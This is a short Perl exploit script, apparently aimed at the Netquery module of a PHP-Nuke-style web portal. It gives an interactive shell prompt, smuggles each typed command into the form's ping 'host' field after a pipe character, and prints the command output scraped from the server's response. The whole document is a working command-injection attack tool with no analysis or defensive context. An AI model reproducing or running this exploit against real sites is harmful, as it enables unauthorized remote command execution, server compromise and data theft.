#!/usr/bin/perl -w

use strict;
use LWP;

my $browser = new LWP::UserAgent;
$browser->agent("Mozilla/4.0(compatible;MSIE 6.0;Windows NT 5.0)");

if (@ARGV < 1) {
        print "\nusage: ./nq.pl http://path/to/form\n\n";
        exit(1);
}

my $url = $ARGV[0];
my $command;

while (1) {
                print "> ";
                while(<STDIN>) {
                                $command = $_;
                                chomp($command);
                                last;
                }
                &send($command);
}

sub send {
        my $ok = 0;
        my $output;
        my @d;
        my $response = $browser->post($url,
                                                                 [ 'op'  => 'modload',
                                                               'name' => 'Netquery',
                                                                   'file' => 'pnuser',
                                                                   'querytype' => 'ping',
                                                               'host'  => '| echo _start_; ' . $command . '; echo _end_;',
                                                               'maxp' => '4',
                                                             ]);

        die "$url could not be reached" unless $response->is_success;
        if ($response->content =~ /<blockquote>_start_(.*)/) {
                $output = $1;
                $output =~ s/<br \/>/ \n /g;
                $output =~ s/<br>/ \n /g;
                @d = split /_end_/, $output;
                print "\n $d[0]\n";
        }
        elsif ($response->content =~ /_start_(.*)/) {
                $output = $1;
                $output =~ s/<br \/>/ \n /g;
                $output =~ s/<br>/ \n /g;
                @d = split /_end_/, $output;
                print "\n $d[0]\n";
        }
        elsif ($response->content =~ /<blockquote>(.*)/) {
                $output = $1;
                $output =~ s/<br \/>/ \n /g;
                $output =~ s/<br>/ \n /g;
                @d = split /<\/blockquote>/, $output;
                print "\n $d[0]\n";
        }
        else {
                print "Not working for some reason\n";
        }
}